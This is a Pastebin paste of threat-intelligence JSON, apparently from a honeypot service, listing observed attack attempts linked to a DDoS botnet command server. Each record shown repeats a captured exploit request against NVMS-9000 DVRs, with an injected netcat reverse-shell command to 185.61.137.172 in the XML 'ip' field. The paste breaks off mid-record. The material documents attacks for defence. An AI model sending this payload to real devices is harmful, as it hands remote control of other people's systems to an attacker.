API tools faq
paste
Advertisement
internetweather

DDoS Botnet C2 185.61.137.172 – Bad Packets CTI API results

internetweather
Dec 23rd, 2019
763
0
Never
Add comment
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
JSON 714.98 KB | None | 0 0
raw download clone embed print report
  1. {
  2.   "count": 625,
  3.   "next": null,
  4.   "previous": null,
  5.   "results": [
  6.     {
  7.       "source_ip_address": "122.116.198.65",
  8.       "country": "TW",
  9.       "user_agent": "Help",
  10.       "payload": "POST /editBlackAndWhiteList HTTP/1.1",
  11.       "post_data": "\"<?xml version=\\x221.0\\x22 encoding=\\x22utf-8\\x22?><request version=\\x221.0\\x22 systemType=\\x22NVMS-9000\\x22 clientType=\\x22WEB\\x22><types><filterTypeMode><enum>refuse</enum><enum>allow</enum></filterTypeMode><addressType><enum>ip</enum><enum>iprange</enum><enum>mac</enum></addressType></types><content><switch>true</switch><filterType type=\\x22filterTypeMode\\x22>refuse</filterType><filterList type=\\x22list\\x22><itemType><addressType type=\\x22addressType\\x22/></itemType><item><switch>true</switch><addressType>ip</addressType><ip>$(nc${IFS}185.61.137.172${IFS}31330${IFS}-e${IFS}$SHELL&)</ip></item></filterList></content></request>\"",
  12.       "target_port": 8000,
  13.       "protocol": "tcp",
  14.       "tags": [
  15.         {
  16.           "cve": "",
  17.           "category": "IoT",
  18.           "description": "TVT (Generic OEM) DVR RCE"
  19.         }
  20.       ],
  21.       "event_count": 2,
  22.       "first_seen": "2019-12-24T02:39:22Z",
  23.       "last_seen": "2019-12-24T02:39:22Z"
  24.     },
  25.     {
  26.       "source_ip_address": "1.34.82.230",
  27.       "country": "TW",
  28.       "user_agent": "Help",
  29.       "payload": "POST /editBlackAndWhiteList HTTP/1.1",
  30.       "post_data": "\"<?xml version=\\x221.0\\x22 encoding=\\x22utf-8\\x22?><request version=\\x221.0\\x22 systemType=\\x22NVMS-9000\\x22 clientType=\\x22WEB\\x22><types><filterTypeMode><enum>refuse</enum><enum>allow</enum></filterTypeMode><addressType><enum>ip</enum><enum>iprange</enum><enum>mac</enum></addressType></types><content><switch>true</switch><filterType type=\\x22filterTypeMode\\x22>refuse</filterType><filterList type=\\x22list\\x22><itemType><addressType type=\\x22addressType\\x22/></itemType><item><switch>true</switch><addressType>ip</addressType><ip>$(nc${IFS}185.61.137.172${IFS}31330${IFS}-e${IFS}$SHELL&)</ip></item></filterList></content></request>\"",
  31.       "target_port": 88,
  32.       "protocol": "tcp",
  33.       "tags": [
  34.         {
  35.           "cve": "",
  36.           "category": "IoT",
  37.           "description": "TVT (Generic OEM) DVR RCE"
  38.         }
  39.       ],
  40.       "event_count": 1,
  41.       "first_seen": "2019-12-24T02:38:36Z",
  42.       "last_seen": "2019-12-24T02:38:36Z"
  43.     },
  44.     {
  45.       "source_ip_address": "106.1.90.100",
  46.       "country": "TW",
  47.       "user_agent": "Help",
  48.       "payload": "POST /editBlackAndWhiteList HTTP/1.1",
  49.       "post_data": "\"<?xml version=\\x221.0\\x22 encoding=\\x22utf-8\\x22?><request version=\\x221.0\\x22 systemType=\\x22NVMS-9000\\x22 clientType=\\x22WEB\\x22><types><filterTypeMode><enum>refuse</enum><enum>allow</enum></filterTypeMode><addressType><enum>ip</enum><enum>iprange</enum><enum>mac</enum></addressType></types><content><switch>true</switch><filterType type=\\x22filterTypeMode\\x22>refuse</filterType><filterList type=\\x22list\\x22><itemType><addressType type=\\x22addressType\\x22/></itemType><item><switch>true</switch><addressType>ip</addressType><ip>$(nc${IFS}185.61.137.172${IFS}31330${IFS}-e${IFS}$SHELL&)</ip></item></filterList></content></request>\"",
  50.       "target_port": 81,
  51.       "protocol": "tcp",
  52.       "tags": [
  53.         {
  54.           "cve": "",
  55.           "category": "IoT",
  56.           "description": "TVT (Generic OEM) DVR RCE"
  57.         }
  58.       ],
  59.       "event_count": 3,
  60.       "first_seen": "2019-12-24T01:30:52Z",
  61.       "last_seen": "2019-12-24T01:30:52Z"
  62.     },
  63.     {
  64.       "source_ip_address": "1.34.84.59",
  65.       "country": "TW",
  66.       "user_agent": "Help",
  67.       "payload": "POST /editBlackAndWhiteList HTTP/1.1",
  68.       "post_data": "\"<?xml version=\\x221.0\\x22 encoding=\\x22utf-8\\x22?><request version=\\x221.0\\x22 systemType=\\x22NVMS-9000\\x22 clientType=\\x22WEB\\x22><types><filterTypeMode><enum>refuse</enum><enum>allow</enum></filterTypeMode><addressType><enum>ip</enum><enum>iprange</enum><enum>mac</enum></addressType></types><content><switch>true</switch><filterType type=\\x22filterTypeMode\\x22>refuse</filterType><filterList type=\\x22list\\x22><itemType><addressType type=\\x22addressType\\x22/></itemType><item><switch>true</switch><addressType>ip</addressType><ip>$(nc${IFS}185.61.137.172${IFS}31330${IFS}-e${IFS}$SHELL&)</ip></item></filterList></content></request>\"",
  69.       "target_port": 8000,
  70.       "protocol": "tcp",
  71.       "tags": [
  72.         {
  73.           "cve": "",
  74.           "category": "IoT",
  75.           "description": "TVT (Generic OEM) DVR RCE"
  76.         }
  77.       ],
  78.       "event_count": 1,
  79.       "first_seen": "2019-12-24T01:09:30Z",
  80.       "last_seen": "2019-12-24T01:09:30Z"
  81.     },
  82.     {
  83.       "source_ip_address": "114.33.41.203",
  84.       "country": "TW",
  85.       "user_agent": "Help",
  86.       "payload": "POST /editBlackAndWhiteList HTTP/1.1",
  87.       "post_data": "\"<?xml version=\\x221.0\\x22 encoding=\\x22utf-8\\x22?><request version=\\x221.0\\x22 systemType=\\x22NVMS-9000\\x22 clientType=\\x22WEB\\x22><types><filterTypeMode><enum>refuse</enum><enum>allow</enum></filterTypeMode><addressType><enum>ip</enum><enum>iprange</enum><enum>mac</enum></addressType></types><content><switch>true</switch><filterType type=\\x22filterTypeMode\\x22>refuse</filterType><filterList type=\\x22list\\x22><itemType><addressType type=\\x22addressType\\x22/></itemType><item><switch>true</switch><addressType>ip</addressType><ip>$(nc${IFS}185.61.137.172${IFS}31330${IFS}-e${IFS}$SHELL&)</ip></item></filterList></content></request>\"",
  88.       "target_port": 81,
  89.       "protocol": "tcp",
  90.       "tags": [
  91.         {
  92.           "cve": "",
  93.           "category": "IoT",
  94.           "description": "TVT (Generic OEM) DVR RCE"
  95.         }
  96.       ],
  97.       "event_count": 6,
  98.       "first_seen": "2019-12-24T01:03:49Z",
  99.       "last_seen": "2019-12-24T01:03:49Z"
  100.     },
  101.     {
  102.       "source_ip_address": "173.168.190.227",
  103.       "country": "US",
  104.       "user_agent": "Help",
  105.       "payload": "POST /editBlackAndWhiteList HTTP/1.1",
  106.       "post_data": "\"<?xml version=\\x221.0\\x22 encoding=\\x22utf-8\\x22?><request version=\\x221.0\\x22 systemType=\\x22NVMS-9000\\x22 clientType=\\x22WEB\\x22><types><filterTypeMode><enum>refuse</enum><enum>allow</enum></filterTypeMode><addressType><enum>ip</enum><enum>iprange</enum><enum>mac</enum></addressType></types><content><switch>true</switch><filterType type=\\x22filterTypeMode\\x22>refuse</filterType><filterList type=\\x22list\\x22><itemType><addressType type=\\x22addressType\\x22/></itemType><item><switch>true</switch><addressType>ip</addressType><ip>$(nc${IFS}185.61.137.172${IFS}31330${IFS}-e${IFS}$SHELL&)</ip></item></filterList></content></request>\"",
  107.       "target_port": 8080,
  108.       "protocol": "tcp",
  109.       "tags": [
  110.         {
  111.           "cve": "",
  112.           "category": "IoT",
  113.           "description": "TVT (Generic OEM) DVR RCE"
  114.         }
  115.       ],
  116.       "event_count": 1,
  117.       "first_seen": "2019-12-24T00:51:20Z",
  118.       "last_seen": "2019-12-24T00:51:20Z"
  119.     },
  120.     {
  121.       "source_ip_address": "178.164.180.174",
  122.       "country": "HU",
  123.       "user_agent": "Help",
  124.       "payload": "POST /editBlackAndWhiteList HTTP/1.1",
  125.       "post_data": "\"<?xml version=\\x221.0\\x22 encoding=\\x22utf-8\\x22?><request version=\\x221.0\\x22 systemType=\\x22NVMS-9000\\x22 clientType=\\x22WEB\\x22><types><filterTypeMode><enum>refuse</enum><enum>allow</enum></filterTypeMode><addressType><enum>ip</enum><enum>iprange</enum><enum>mac</enum></addressType></types><content><switch>true</switch><filterType type=\\x22filterTypeMode\\x22>refuse</filterType><filterList type=\\x22list\\x22><itemType><addressType type=\\x22addressType\\x22/></itemType><item><switch>true</switch><addressType>ip</addressType><ip>$(nc${IFS}185.61.137.172${IFS}31330${IFS}-e${IFS}$SHELL&)</ip></item></filterList></content></request>\"",
  126.       "target_port": 80,
  127.       "protocol": "tcp",
  128.       "tags": [
  129.         {
  130.           "cve": "",
  131.           "category": "IoT",
  132.           "description": "TVT (Generic OEM) DVR RCE"
  133.         }
  134.       ],
  135.       "event_count": 1,
  136.       "first_seen": "2019-12-24T00:31:51Z",
  137.       "last_seen": "2019-12-24T00:31:51Z"
  138.     },
  139.     {
  140.       "source_ip_address": "84.52.97.249",
  141.       "country": "RU",
  142.       "user_agent": "Help",
  143.       "payload": "POST /editBlackAndWhiteList HTTP/1.1",
  144.       "post_data": "\"<?xml version=\\x221.0\\x22 encoding=\\x22utf-8\\x22?><request version=\\x221.0\\x22 systemType=\\x22NVMS-9000\\x22 clientType=\\x22WEB\\x22><types><filterTypeMode><enum>refuse</enum><enum>allow</enum></filterTypeMode><addressType><enum>ip</enum><enum>iprange</enum><enum>mac</enum></addressType></types><content><switch>true</switch><filterType type=\\x22filterTypeMode\\x22>refuse</filterType><filterList type=\\x22list\\x22><itemType><addressType type=\\x22addressType\\x22/></itemType><item><switch>true</switch><addressType>ip</addressType><ip>$(nc${IFS}185.61.137.172${IFS}31330${IFS}-e${IFS}$SHELL&)</ip></item></filterList></content></request>\"",
  145.       "target_port": 81,
  146.       "protocol": "tcp",
  147.       "tags": [
  148.         {
  149.           "cve": "",
  150.           "category": "IoT",
  151.           "description": "TVT (Generic OEM) DVR RCE"
  152.         }
  153.       ],
  154.       "event_count": 8,
  155.       "first_seen": "2019-12-19T14:43:15Z",
  156.       "last_seen": "2019-12-24T00:30:35Z"
  157.     },
  158.     {
  159.       "source_ip_address": "118.70.105.92",
  160.       "country": "VN",
  161.       "user_agent": "Help",
  162.       "payload": "POST /editBlackAndWhiteList HTTP/1.1",
  163.       "post_data": "\"<?xml version=\\x221.0\\x22 encoding=\\x22utf-8\\x22?><request version=\\x221.0\\x22 systemType=\\x22NVMS-9000\\x22 clientType=\\x22WEB\\x22><types><filterTypeMode><enum>refuse</enum><enum>allow</enum></filterTypeMode><addressType><enum>ip</enum><enum>iprange</enum><enum>mac</enum></addressType></types><content><switch>true</switch><filterType type=\\x22filterTypeMode\\x22>refuse</filterType><filterList type=\\x22list\\x22><itemType><addressType type=\\x22addressType\\x22/></itemType><item><switch>true</switch><addressType>ip</addressType><ip>$(nc${IFS}185.61.137.172${IFS}31330${IFS}-e${IFS}$SHELL&)</ip></item></filterList></content></request>\"",
  164.       "target_port": 81,
  165.       "protocol": "tcp",
  166.       "tags": [
  167.         {
  168.           "cve": "",
  169.           "category": "IoT",
  170.           "description": "TVT (Generic OEM) DVR RCE"
  171.         }
  172.       ],
  173.       "event_count": 1,
  174.       "first_seen": "2019-12-24T00:18:23Z",
  175.       "last_seen": "2019-12-24T00:18:23Z"
  176.     },
  177.     {
  178.       "source_ip_address": "50.233.0.106",
  179.       "country": "US",
  180.       "user_agent": "Help",
  181.       "payload": "POST /editBlackAndWhiteList HTTP/1.1",
  182.       "post_data": "\"<?xml version=\\x221.0\\x22 encoding=\\x22utf-8\\x22?><request version=\\x221.0\\x22 systemType=\\x22NVMS-9000\\x22 clientType=\\x22WEB\\x22><types><filterTypeMode><enum>refuse</enum><enum>allow</enum></filterTypeMode><addressType><enum>ip</enum><enum>iprange</enum><enum>mac</enum></addressType></types><content><switch>true</switch><filterType type=\\x22filterTypeMode\\x22>refuse</filterType><filterList type=\\x22list\\x22><itemType><addressType type=\\x22addressType\\x22/></itemType><item><switch>true</switch><addressType>ip</addressType><ip>$(nc${IFS}185.61.137.172${IFS}31330${IFS}-e${IFS}$SHELL&)</ip></item></filterList></content></request>\"",
  183.       "target_port": 81,
  184.       "protocol": "tcp",
  185.       "tags": [
  186.         {
  187.           "cve": "",
  188.           "category": "IoT",
  189.           "description": "TVT (Generic OEM) DVR RCE"
  190.         }
  191.       ],
  192.       "event_count": 5,
  193.       "first_seen": "2019-12-19T20:17:26Z",
  194.       "last_seen": "2019-12-24T00:08:45Z"
  195.     },
  196.     {
  197.       "source_ip_address": "98.153.109.181",
  198.       "country": "US",
  199.       "user_agent": "Help",
  200.       "payload": "POST /editBlackAndWhiteList HTTP/1.1",
  201.       "post_data": "\"<?xml version=\\x221.0\\x22 encoding=\\x22utf-8\\x22?><request version=\\x221.0\\x22 systemType=\\x22NVMS-9000\\x22 clientType=\\x22WEB\\x22><types><filterTypeMode><enum>refuse</enum><enum>allow</enum></filterTypeMode><addressType><enum>ip</enum><enum>iprange</enum><enum>mac</enum></addressType></types><content><switch>true</switch><filterType type=\\x22filterTypeMode\\x22>refuse</filterType><filterList type=\\x22list\\x22><itemType><addressType type=\\x22addressType\\x22/></itemType><item><switch>true</switch><addressType>ip</addressType><ip>$(nc${IFS}185.61.137.172${IFS}31330${IFS}-e${IFS}$SHELL&)</ip></item></filterList></content></request>\"",
  202.       "target_port": 8000,
  203.       "protocol": "tcp",
  204.       "tags": [
  205.         {
  206.           "cve": "",
  207.           "category": "IoT",
  208.           "description": "TVT (Generic OEM) DVR RCE"
  209.         }
  210.       ],
  211.       "event_count": 1,
  212.       "first_seen": "2019-12-23T23:36:14Z",
  213.       "last_seen": "2019-12-23T23:36:14Z"
  214.     },
  215.     {
  216.       "source_ip_address": "58.71.221.151",
  217.       "country": "MY",
  218.       "user_agent": "Help",
  219.       "payload": "POST /editBlackAndWhiteList HTTP/1.1",
  220.       "post_data": "\"<?xml version=\\x221.0\\x22 encoding=\\x22utf-8\\x22?><request version=\\x221.0\\x22 systemType=\\x22NVMS-9000\\x22 clientType=\\x22WEB\\x22><types><filterTypeMode><enum>refuse</enum><enum>allow</enum></filterTypeMode><addressType><enum>ip</enum><enum>iprange</enum><enum>mac</enum></addressType></types><content><switch>true</switch><filterType type=\\x22filterTypeMode\\x22>refuse</filterType><filterList type=\\x22list\\x22><itemType><addressType type=\\x22addressType\\x22/></itemType><item><switch>true</switch><addressType>ip</addressType><ip>$(nc${IFS}185.61.137.172${IFS}31330${IFS}-e${IFS}$SHELL&)</ip></item></filterList></content></request>\"",
  221.       "target_port": 8000,
  222.       "protocol": "tcp",
  223.       "tags": [
  224.         {
  225.           "cve": "",
  226.           "category": "IoT",
  227.           "description": "TVT (Generic OEM) DVR RCE"
  228.         }
  229.       ],
  230.       "event_count": 1,
  231.       "first_seen": "2019-12-23T23:35:21Z",
  232.       "last_seen": "2019-12-23T23:35:21Z"
  233.     },
  234.     {
  235.       "source_ip_address": "81.182.156.3",
  236.       "country": "HU",
  237.       "user_agent": "Help",
  238.       "payload": "POST /editBlackAndWhiteList HTTP/1.1",
  239.       "post_data": "\"<?xml version=\\x221.0\\x22 encoding=\\x22utf-8\\x22?><request version=\\x221.0\\x22 systemType=\\x22NVMS-9000\\x22 clientType=\\x22WEB\\x22><types><filterTypeMode><enum>refuse</enum><enum>allow</enum></filterTypeMode><addressType><enum>ip</enum><enum>iprange</enum><enum>mac</enum></addressType></types><content><switch>true</switch><filterType type=\\x22filterTypeMode\\x22>refuse</filterType><filterList type=\\x22list\\x22><itemType><addressType type=\\x22addressType\\x22/></itemType><item><switch>true</switch><addressType>ip</addressType><ip>$(nc${IFS}185.61.137.172${IFS}31330${IFS}-e${IFS}$SHELL&)</ip></item></filterList></content></request>\"",
  240.       "target_port": 81,
  241.       "protocol": "tcp",
  242.       "tags": [
  243.         {
  244.           "cve": "",
  245.           "category": "IoT",
  246.           "description": "TVT (Generic OEM) DVR RCE"
  247.         }
  248.       ],
  249.       "event_count": 1,
  250.       "first_seen": "2019-12-23T23:24:31Z",
  251.       "last_seen": "2019-12-23T23:24:31Z"
  252.     },
  253.     {
  254.       "source_ip_address": "31.13.206.100",
  255.       "country": "BG",
  256.       "user_agent": "Help",
  257.       "payload": "POST /editBlackAndWhiteList HTTP/1.1",
  258.       "post_data": "\"<?xml version=\\x221.0\\x22 encoding=\\x22utf-8\\x22?><request version=\\x221.0\\x22 systemType=\\x22NVMS-9000\\x22 clientType=\\x22WEB\\x22><types><filterTypeMode><enum>refuse</enum><enum>allow</enum></filterTypeMode><addressType><enum>ip</enum><enum>iprange</enum><enum>mac</enum></addressType></types><content><switch>true</switch><filterType type=\\x22filterTypeMode\\x22>refuse</filterType><filterList type=\\x22list\\x22><itemType><addressType type=\\x22addressType\\x22/></itemType><item><switch>true</switch><addressType>ip</addressType><ip>$(nc${IFS}185.61.137.172${IFS}31330${IFS}-e${IFS}$SHELL&)</ip></item></filterList></content></request>\"",
  259.       "target_port": 80,
  260.       "protocol": "tcp",
  261.       "tags": [
  262.         {
  263.           "cve": "",
  264.           "category": "IoT",
  265.           "description": "TVT (Generic OEM) DVR RCE"
  266.         }
  267.       ],
  268.       "event_count": 3,
  269.       "first_seen": "2019-12-23T23:22:43Z",
  270.       "last_seen": "2019-12-23T23:22:43Z"
  271.     },
  272.     {
  273.       "source_ip_address": "69.159.172.201",
  274.       "country": "CA",
  275.       "user_agent": "Help",
  276.       "payload": "POST /editBlackAndWhiteList HTTP/1.1",
  277.       "post_data": "\"<?xml version=\\x221.0\\x22 encoding=\\x22utf-8\\x22?><request version=\\x221.0\\x22 systemType=\\x22NVMS-9000\\x22 clientType=\\x22WEB\\x22><types><filterTypeMode><enum>refuse</enum><enum>allow</enum></filterTypeMode><addressType><enum>ip</enum><enum>iprange</enum><enum>mac</enum></addressType></types><content><switch>true</switch><filterType type=\\x22filterTypeMode\\x22>refuse</filterType><filterList type=\\x22list\\x22><itemType><addressType type=\\x22addressType\\x22/></itemType><item><switch>true</switch><addressType>ip</addressType><ip>$(nc${IFS}185.61.137.172${IFS}31330${IFS}-e${IFS}$SHELL&)</ip></item></filterList></content></request>\"",
  278.       "target_port": 8000,
  279.       "protocol": "tcp",
  280.       "tags": [
  281.         {
  282.           "cve": "",
  283.           "category": "IoT",
  284.           "description": "TVT (Generic OEM) DVR RCE"
  285.         }
  286.       ],
  287.       "event_count": 1,
  288.       "first_seen": "2019-12-23T23:01:46Z",
  289.       "last_seen": "2019-12-23T23:01:46Z"
  290.     },
  291.     {
  292.       "source_ip_address": "93.42.110.44",
  293.       "country": "IT",
  294.       "user_agent": "Help",
  295.       "payload": "POST /editBlackAndWhiteList HTTP/1.1",
  296.       "post_data": "\"<?xml version=\\x221.0\\x22 encoding=\\x22utf-8\\x22?><request version=\\x221.0\\x22 systemType=\\x22NVMS-9000\\x22 clientType=\\x22WEB\\x22><types><filterTypeMode><enum>refuse</enum><enum>allow</enum></filterTypeMode><addressType><enum>ip</enum><enum>iprange</enum><enum>mac</enum></addressType></types><content><switch>true</switch><filterType type=\\x22filterTypeMode\\x22>refuse</filterType><filterList type=\\x22list\\x22><itemType><addressType type=\\x22addressType\\x22/></itemType><item><switch>true</switch><addressType>ip</addressType><ip>$(nc${IFS}185.61.137.172${IFS}31330${IFS}-e${IFS}$SHELL&)</ip></item></filterList></content></request>\"",
  297.       "target_port": 8080,
  298.       "protocol": "tcp",
  299.       "tags": [
  300.         {
  301.           "cve": "",
  302.           "category": "IoT",
  303.           "description": "TVT (Generic OEM) DVR RCE"
  304.         }
  305.       ],
  306.       "event_count": 1,
  307.       "first_seen": "2019-12-23T22:43:04Z",
  308.       "last_seen": "2019-12-23T22:43:04Z"
  309.     },
  310.     {
  311.       "source_ip_address": "175.140.45.250",
  312.       "country": "MY",
  313.       "user_agent": "Help",
  314.       "payload": "POST /editBlackAndWhiteList HTTP/1.1",
  315.       "post_data": "\"<?xml version=\\x221.0\\x22 encoding=\\x22utf-8\\x22?><request version=\\x221.0\\x22 systemType=\\x22NVMS-9000\\x22 clientType=\\x22WEB\\x22><types><filterTypeMode><enum>refuse</enum><enum>allow</enum></filterTypeMode><addressType><enum>ip</enum><enum>iprange</enum><enum>mac</enum></addressType></types><content><switch>true</switch><filterType type=\\x22filterTypeMode\\x22>refuse</filterType><filterList type=\\x22list\\x22><itemType><addressType type=\\x22addressType\\x22/></itemType><item><switch>true</switch><addressType>ip</addressType><ip>$(nc${IFS}185.61.137.172${IFS}31330${IFS}-e${IFS}$SHELL&)</ip></item></filterList></content></request>\"",
  316.       "target_port": 8000,
  317.       "protocol": "tcp",
  318.       "tags": [
  319.         {
  320.           "cve": "",
  321.           "category": "IoT",
  322.           "description": "TVT (Generic OEM) DVR RCE"
  323.         }
  324.       ],
  325.       "event_count": 1,
  326.       "first_seen": "2019-12-23T22:36:41Z",
  327.       "last_seen": "2019-12-23T22:36:41Z"
  328.     },
  329.     {
  330.       "source_ip_address": "114.34.138.95",
  331.       "country": "TW",
  332.       "user_agent": "Help",
  333.       "payload": "POST /editBlackAndWhiteList HTTP/1.1",
  334.       "post_data": "\"<?xml version=\\x221.0\\x22 encoding=\\x22utf-8\\x22?><request version=\\x221.0\\x22 systemType=\\x22NVMS-9000\\x22 clientType=\\x22WEB\\x22><types><filterTypeMode><enum>refuse</enum><enum>allow</enum></filterTypeMode><addressType><enum>ip</enum><enum>iprange</enum><enum>mac</enum></addressType></types><content><switch>true</switch><filterType type=\\x22filterTypeMode\\x22>refuse</filterType><filterList type=\\x22list\\x22><itemType><addressType type=\\x22addressType\\x22/></itemType><item><switch>true</switch><addressType>ip</addressType><ip>$(nc${IFS}185.61.137.172${IFS}31330${IFS}-e${IFS}$SHELL&)</ip></item></filterList></content></request>\"",
  335.       "target_port": 88,
  336.       "protocol": "tcp",
  337.       "tags": [
  338.         {
  339.           "cve": "",
  340.           "category": "IoT",
  341.           "description": "TVT (Generic OEM) DVR RCE"
  342.         }
  343.       ],
  344.       "event_count": 15,
  345.       "first_seen": "2019-12-22T14:03:22Z",
  346.       "last_seen": "2019-12-23T22:28:15Z"
  347.     },
  348.     {
  349.       "source_ip_address": "218.161.71.56",
  350.       "country": "TW",
  351.       "user_agent": "Help",
  352.       "payload": "POST /editBlackAndWhiteList HTTP/1.1",
  353.       "post_data": "\"<?xml version=\\x221.0\\x22 encoding=\\x22utf-8\\x22?><request version=\\x221.0\\x22 systemType=\\x22NVMS-9000\\x22 clientType=\\x22WEB\\x22><types><filterTypeMode><enum>refuse</enum><enum>allow</enum></filterTypeMode><addressType><enum>ip</enum><enum>iprange</enum><enum>mac</enum></addressType></types><content><switch>true</switch><filterType type=\\x22filterTypeMode\\x22>refuse</filterType><filterList type=\\x22list\\x22><itemType><addressType type=\\x22addressType\\x22/></itemType><item><switch>true</switch><addressType>ip</addressType><ip>$(nc${IFS}185.61.137.172${IFS}31330${IFS}-e${IFS}$SHELL&)</ip></item></filterList></content></request>\"",
  354.       "target_port": 81,
  355.       "protocol": "tcp",
  356.       "tags": [
  357.         {
  358.           "cve": "",
  359.           "category": "IoT",
  360.           "description": "TVT (Generic OEM) DVR RCE"
  361.         }
  362.       ],
  363.       "event_count": 2,
  364.       "first_seen": "2019-12-23T22:21:21Z",
  365.       "last_seen": "2019-12-23T22:21:21Z"
  366.     },
  367.     {
  368.       "source_ip_address": "99.243.31.33",
  369.       "country": "CA",
  370.       "user_agent": "Help",
  371.       "payload": "POST /editBlackAndWhiteList HTTP/1.1",
  372.       "post_data": "\"<?xml version=\\x221.0\\x22 encoding=\\x22utf-8\\x22?><request version=\\x221.0\\x22 systemType=\\x22NVMS-9000\\x22 clientType=\\x22WEB\\x22><types><filterTypeMode><enum>refuse</enum><enum>allow</enum></filterTypeMode><addressType><enum>ip</enum><enum>iprange</enum><enum>mac</enum></addressType></types><content><switch>true</switch><filterType type=\\x22filterTypeMode\\x22>refuse</filterType><filterList type=\\x22list\\x22><itemType><addressType type=\\x22addressType\\x22/></itemType><item><switch>true</switch><addressType>ip</addressType><ip>$(nc${IFS}185.61.137.172${IFS}31330${IFS}-e${IFS}$SHELL&)</ip></item></filterList></content></request>\"",
  373.       "target_port": 8080,
  374.       "protocol": "tcp",
  375.       "tags": [
  376.         {
  377.           "cve": "",
  378.           "category": "IoT",
  379.           "description": "TVT (Generic OEM) DVR RCE"
  380.         }
  381.       ],
  382.       "event_count": 20,
  383.       "first_seen": "2019-12-22T23:11:10Z",
  384.       "last_seen": "2019-12-23T21:54:45Z"
  385.     },
  386.     {
  387.       "source_ip_address": "201.143.239.183",
  388.       "country": "MX",
  389.       "user_agent": "Help",
  390.       "payload": "POST /editBlackAndWhiteList HTTP/1.1",
  391.       "post_data": "\"<?xml version=\\x221.0\\x22 encoding=\\x22utf-8\\x22?><request version=\\x221.0\\x22 systemType=\\x22NVMS-9000\\x22 clientType=\\x22WEB\\x22><types><filterTypeMode><enum>refuse</enum><enum>allow</enum></filterTypeMode><addressType><enum>ip</enum><enum>iprange</enum><enum>mac</enum></addressType></types><content><switch>true</switch><filterType type=\\x22filterTypeMode\\x22>refuse</filterType><filterList type=\\x22list\\x22><itemType><addressType type=\\x22addressType\\x22/></itemType><item><switch>true</switch><addressType>ip</addressType><ip>$(nc${IFS}185.61.137.172${IFS}31330${IFS}-e${IFS}$SHELL&)</ip></item></filterList></content></request>\"",
  392.       "target_port": 81,
  393.       "protocol": "tcp",
  394.       "tags": [
  395.         {
  396.           "cve": "",
  397.           "category": "IoT",
  398.           "description": "TVT (Generic OEM) DVR RCE"
  399.         }
  400.       ],
  401.       "event_count": 3,
  402.       "first_seen": "2019-12-23T21:50:57Z",
  403.       "last_seen": "2019-12-23T21:50:57Z"
  404.     },
  405.     {
  406.       "source_ip_address": "189.250.48.146",
  407.       "country": "MX",
  408.       "user_agent": "Help",
  409.       "payload": "POST /editBlackAndWhiteList HTTP/1.1",
  410.       "post_data": "\"<?xml version=\\x221.0\\x22 encoding=\\x22utf-8\\x22?><request version=\\x221.0\\x22 systemType=\\x22NVMS-9000\\x22 clientType=\\x22WEB\\x22><types><filterTypeMode><enum>refuse</enum><enum>allow</enum></filterTypeMode><addressType><enum>ip</enum><enum>iprange</enum><enum>mac</enum></addressType></types><content><switch>true</switch><filterType type=\\x22filterTypeMode\\x22>refuse</filterType><filterList type=\\x22list\\x22><itemType><addressType type=\\x22addressType\\x22/></itemType><item><switch>true</switch><addressType>ip</addressType><ip>$(nc${IFS}185.61.137.172${IFS}31330${IFS}-e${IFS}$SHELL&)</ip></item></filterList></content></request>\"",
  411.       "target_port": 8000,
  412.       "protocol": "tcp",
  413.       "tags": [
  414.         {
  415.           "cve": "",
  416.           "category": "IoT",
  417.           "description": "TVT (Generic OEM) DVR RCE"
  418.         }
  419.       ],
  420.       "event_count": 13,
  421.       "first_seen": "2019-12-23T06:44:54Z",
  422.       "last_seen": "2019-12-23T21:27:53Z"
  423.     },
  424.     {
  425.       "source_ip_address": "118.70.72.102",
  426.       "country": "VN",
  427.       "user_agent": "Help",
  428.       "payload": "POST /editBlackAndWhiteList HTTP/1.1",
  429.       "post_data": "\"<?xml version=\\x221.0\\x22 encoding=\\x22utf-8\\x22?><request version=\\x221.0\\x22 systemType=\\x22NVMS-9000\\x22 clientType=\\x22WEB\\x22><types><filterTypeMode><enum>refuse</enum><enum>allow</enum></filterTypeMode><addressType><enum>ip</enum><enum>iprange</enum><enum>mac</enum></addressType></types><content><switch>true</switch><filterType type=\\x22filterTypeMode\\x22>refuse</filterType><filterList type=\\x22list\\x22><itemType><addressType type=\\x22addressType\\x22/></itemType><item><switch>true</switch><addressType>ip</addressType><ip>$(nc${IFS}185.61.137.172${IFS}31330${IFS}-e${IFS}$SHELL&)</ip></item></filterList></content></request>\"",
  430.       "target_port": 8080,
  431.       "protocol": "tcp",
  432.       "tags": [
  433.         {
  434.           "cve": "",
  435.           "category": "IoT",
  436.           "description": "TVT (Generic OEM) DVR RCE"
  437.         }
  438.       ],
  439.       "event_count": 11,
  440.       "first_seen": "2019-12-23T21:12:47Z",
  441.       "last_seen": "2019-12-23T21:12:47Z"
  442.     },
  443.     {
  444.       "source_ip_address": "109.65.36.72",
  445.       "country": "IL",
  446.       "user_agent": "Help",
  447.       "payload": "POST /editBlackAndWhiteList HTTP/1.1",
  448.       "post_data": "\"<?xml version=\\x221.0\\x22 encoding=\\x22utf-8\\x22?><request version=\\x221.0\\x22 systemType=\\x22NVMS-9000\\x22 clientType=\\x22WEB\\x22><types><filterTypeMode><enum>refuse</enum><enum>allow</enum></filterTypeMode><addressType><enum>ip</enum><enum>iprange</enum><enum>mac</enum></addressType></types><content><switch>true</switch><filterType type=\\x22filterTypeMode\\x22>refuse</filterType><filterList type=\\x22list\\x22><itemType><addressType type=\\x22addressType\\x22/></itemType><item><switch>true</switch><addressType>ip</addressType><ip>$(nc${IFS}185.61.137.172${IFS}31330${IFS}-e${IFS}$SHELL&)</ip></item></filterList></content></request>\"",
  449.       "target_port": 80,
  450.       "protocol": "tcp",
  451.       "tags": [
  452.         {
  453.           "cve": "",
  454.           "category": "IoT",
  455.           "description": "TVT (Generic OEM) DVR RCE"
  456.         }
  457.       ],
  458.       "event_count": 2,
  459.       "first_seen": "2019-12-23T21:03:04Z",
  460.       "last_seen": "2019-12-23T21:03:04Z"
  461.     },
  462.     {
  463.       "source_ip_address": "142.196.26.24",
  464.       "country": "US",
  465.       "user_agent": "Help",
  466.       "payload": "POST /editBlackAndWhiteList HTTP/1.1",
